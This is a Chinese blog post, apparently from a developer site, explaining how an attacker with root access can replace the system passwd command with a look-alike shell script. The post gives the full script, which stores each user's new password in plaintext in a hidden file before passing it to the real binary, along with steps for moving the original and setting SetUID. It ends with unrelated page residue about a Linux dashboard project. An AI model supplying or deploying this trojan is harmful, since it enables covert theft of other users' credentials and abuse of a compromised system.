在得到linux系统权限后可以为所欲为,只要你足够秀,但是你想得到其他用户的密码理论上是不可能的,linux密码加密都是单向加密,比如MD5、SHA256 、SHA512等,是不可逆的,不能通过密文得到名文,方法还是有的:

  • 思路:(前提你是root权限)
          先将passwd的原文件移到只有你知道的地方,然后你写个shell脚本和passwd同名,将它移动到  /bin 目录下(一般路径都是/bin/passwd 可以用which passwd  看一下),这样用户输入passwd修改密码时调用的是你的shell脚本,你就可以在设置之前对明文密码进行保存。

#!/bin/bash
echo  "更改用户 $1 的密码 。" 

read -s -p "新的 密码:" pawd1
echo ""
read -s -p "重新输入新的 密码:" pawd2

if [[ $pawd1==$pawd2 ]];then
        echo ""
        echo "$1  $pawd2" > /test/passwd    #将账号密码明文保存,方便自己查看
        echo "$pawd1" | passwd --stdin $1   #重点:非交互式设置用户密码
        echo "密码设置成功。"
else
        echo "抱歉。 密码不匹配。"
fi


        

  这样测试:

       /test/passwd zhang3   #设置zhang3用户密码,写你的脚本名,我只是举例!

 

注意:

     1、主要用到的是echo "passwd" | passwd --stdin user  这条命令,如果你移动了原passwd文件 代码中请写原passwd文件绝对路径。比如   echo "$pawd1" | /test/passwd --stdin $1 。

     2、自定义的passwd脚本,需要加SetUID权限,改密码都要以root权限运行的,无论是哪个用户。命令:chmod  u+s passwd 

 

GitHub 加速计划 / li / linux-dash
10.39 K
1.2 K
下载
A beautiful web dashboard for Linux
最近提交(Master分支:2 个月前 )
186a802e added ecosystem file for PM2 4 年前
5def40a3 Add host customization support for the NodeJS version 4 年前
Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐